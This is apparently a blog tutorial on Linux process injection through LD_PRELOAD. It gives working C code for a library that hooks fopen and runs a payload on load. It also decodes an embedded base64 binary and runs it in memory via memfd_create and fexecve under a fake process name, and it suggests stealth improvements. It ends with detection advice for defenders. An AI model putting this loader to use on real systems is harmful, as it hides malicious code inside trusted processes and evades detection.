boup.
FR EN

Process Injection on Linux with LD_PRELOAD

6 min readCybersécurité
Contents

Introduction

The goal of process injection is to execute arbitrary code inside a trusted binary in order to evade static detection.

This method will likely not fool more advanced solutions that monitor process behavior, such as an EDR. The limitations are detailed in the conclusion.

A common method for performing process injection on Linux is to use LD_PRELOAD. This environment variable allows loading a shared library before any other library. This is useful because it allows overriding functions like fopen, malloc, etc. and executing your own code before calling the original function.

Here is a diagram explaining how process injection works with LD_PRELOAD:

sequenceDiagram
    participant P as targeted program
    participant E as my-evil-lib.so
    participant S as stdio (libc)

    Note over P,S: Without LD_PRELOAD
    P->>S: fopen("file.txt")
    S-->>P: FILE*

    Note over P,S: export LD_PRELOAD=./my-evil-lib.so
    P->>E: fopen("file.txt")
    E->>S: fopen("file.txt")
    S-->>E: FILE*
    E-->>P: FILE*
    

Quick example

Here is a quick example of using LD_PRELOAD to execute a payload when fopen is called in the targeted process.

my-evil-lib.c:

c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

FILE *fopen(const char *pathname, const char *mode) {

    // Load the original fopen function
    static FILE *(*original_fopen)(const char *, const char *) = NULL;
    if (!original_fopen) {
        original_fopen = dlsym(RTLD_NEXT, "fopen");
        if (!original_fopen) {
            fprintf(stderr, "Error in `dlsym`: %s\n", dlerror());
            exit(EXIT_FAILURE);
        }
    }

   // Execute custom code
    printf("Hello world!\n\n");

   // Call the original fopen function
   return original_fopen(pathname, mode);
}

To compile the library:

shell
gcc -shared -fPIC -o my-evil-lib.so my-evil-lib.c -ldl

Demonstration with curl:

shell
LD_PRELOAD=./my-evil-lib.so curl https://google.com

Returns:

text
Hello world!

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="https://www.google.com/">here</A>.
</BODY></HTML>

Injecting a binary via library injection

If we want to avoid static detection, we can encode our binary in base64 and decode it in memory. Thanks to LD_PRELOAD, we can execute the binary in memory by making it appear as the targeted process.

Executing a binary in memory

memfd_create is a Linux system call that creates an in-memory file descriptor. This file descriptor can be executed with the fexecve system call. The goal is not only to execute code in the target process, but also to conceal the fact that the process has been tampered with.

Files created with memfd_create are not visible in the filesystem, unlike files in /dev/shm.

However, they can be spotted with the lsof command: lsof | grep memfd

Note

An EDR will very likely detect the use of memfd_create; see the conclusion of the article for more details.

Here is a quick example of executing a binary in memory with memfd_create and fexecve:

c
static void run_payload() {

    // Create the file in memory, the name used will be visible in the process list
    int memfd = memfd_create("process-name-that-will-be-visible", MFD_CLOEXEC);
    if (memfd == -1) {
        perror("memfd_create");
        return;
    }

    // Decode base64 using openssl
    unsigned char *decoded_data;
    int decoded_len;

    if (base64_decode(BASE64_PAYLOAD, &decoded_data, &decoded_len) != 0) {
        close(memfd);
        return;
    }

    // Write decoded data to the memory file
    write(memfd, decoded_data, decoded_len);
    free(decoded_data);

    // Build argv: argv[0] is the fake process name, the rest are parsed from PAYLOAD_ARGS
    char **argv = (char **)malloc(64 * sizeof(char *));
    if (!argv) {
        close(memfd);
        return;
    }

    int argc = 0;
    argv[argc++] = "process-name-that-will-be-visible";

    char *args_copy = strdup(PAYLOAD_ARGS);
    char *token;
    while ((token = strsep(&args_copy, " ")) != NULL && argc < 63)
        if (*token != '\0') argv[argc++] = token;
    argv[argc] = NULL;

    // LD_PRELOAD must not be inherited by the payload to avoid recursion
    char *envp[] = {NULL};

    // Execute the binary in memory by passing the file descriptor to fexecve
    fexecve(memfd, argv, envp);
    perror("fexecve");
    close(memfd);
}

Triggering the payload

The library overrides fopen to intercept calls from the target process and trigger the payload.
If we want to make sure the payload is executed even if the targeted process never calls fopen, we can use __attribute__((constructor)), which runs as soon as the library is loaded.

c
void execute_payload() {
    static int executed = 0;
    if (executed) return;
    executed = 1;

    pid_t pid = fork();
    if (pid == 0) {
        setsid();
        run_payload();
        exit(EXIT_FAILURE);
    }
    // Wait for child so its output appears before the parent continues
    waitpid(pid, NULL, 0);
}

// Runs as soon as the library is loaded
__attribute__((constructor))
static void init() {
    execute_payload();
}

FILE *fopen(const char *pathname, const char *mode) {
    execute_payload();

    static FILE *(*original_fopen)(const char *, const char *) = NULL;
    if (!original_fopen) {
        original_fopen = dlsym(RTLD_NEXT, "fopen");
        if (!original_fopen) {
            fprintf(stderr, "Error in `dlsym`: %s\n", dlerror());
            exit(EXIT_FAILURE);
        }
    }
    return original_fopen(pathname, mode);
}

The executed flag guarantees that the payload only runs once, whether triggered via the constructor or via the fopen hook.

Our base64_decode function uses the openssl library:

c
int base64_decode(const char *base64, unsigned char **decoded, int *decoded_len) {
    int len = strlen(base64);
    *decoded = (unsigned char *)malloc(len);
    if (!*decoded) {
        perror("malloc");
        return -1;
    }

    *decoded_len = EVP_DecodeBlock(*decoded, (const unsigned char *)base64, len);
    if (*decoded_len < 0) {
        free(*decoded);
        perror("EVP_DecodeBlock");
        return -1;
    }

    return 0;
}

The full code is available on Gitlab: https://gitlab.com/magkeep/linux-process-injection-with-ldpreload

Generating the base64-encoded payload

We will create another binary that will encode our payload in base64. This binary will be run on the attacker’s machine and will generate the encoded payload in order to store it in “payload.h” and load it at compile time into the malicious library.

encode-payload.c:

c
// Use openssl for base64 encoding
char* base64_encode_openssl(const unsigned char* data, size_t input_length, size_t* output_length) {
    int output_len = 4 * ((input_length + 2) / 3);
    char* encoded_data = (char*)malloc(output_len + 1);
    if (encoded_data == NULL) return NULL;

    int len = EVP_EncodeBlock((unsigned char*)encoded_data, data, input_length);
    if (len < 0) {
        free(encoded_data);
        return NULL;
    }

    encoded_data[len] = '\0';
    *output_length = len;
    return encoded_data;
}

// Used to write the encoded data to the "payload.h" header file 
void write_to_header(const char* encoded_data, const char* args) {
    FILE* file = fopen("payload.h", "w");
    if (file == NULL) {
        perror("Failed to open file");
        exit(EXIT_FAILURE);
    }
    fprintf(file, "#ifndef PAYLOAD_H\n#define PAYLOAD_H\n\n#define BASE64_PAYLOAD \"%s\"\n#define PAYLOAD_ARGS \"%s\"\n\n#endif\n", encoded_data, args);
    fclose(file);
}

The full code is also available on Gitlab: https://gitlab.com/magkeep/linux-process-injection-with-ldpreload

Possible improvements

  • Use a more advanced method to encode the payload, such as encryption.
  • Use a double fork (forking twice and having the intermediate parent process exit immediately) rather than a simple fork, in order to fully detach the injected process from the process tree for better stealth.

Conclusion

Process injection via LD_PRELOAD is a simple and low-cost way to execute arbitrary code inside a trusted process while evading static detection, but it is far from invisible.

Defenders can monitor the LD_PRELOAD environment variable set at process launch, unexpected entries in /etc/ld.so.preload, as well as unusual use of memfd_create/fexecve or the presence of fileless processes without visible files in /proc/<pid>/maps and /proc/<pid>/fd.

EDRs that hook execve/dlopen or rely on eBPF-based syscall monitoring are also well positioned to detect this kind of behavior. This technique alone therefore has little chance of fooling an EDR. It may even raise suspicion and generate alerts.

Resources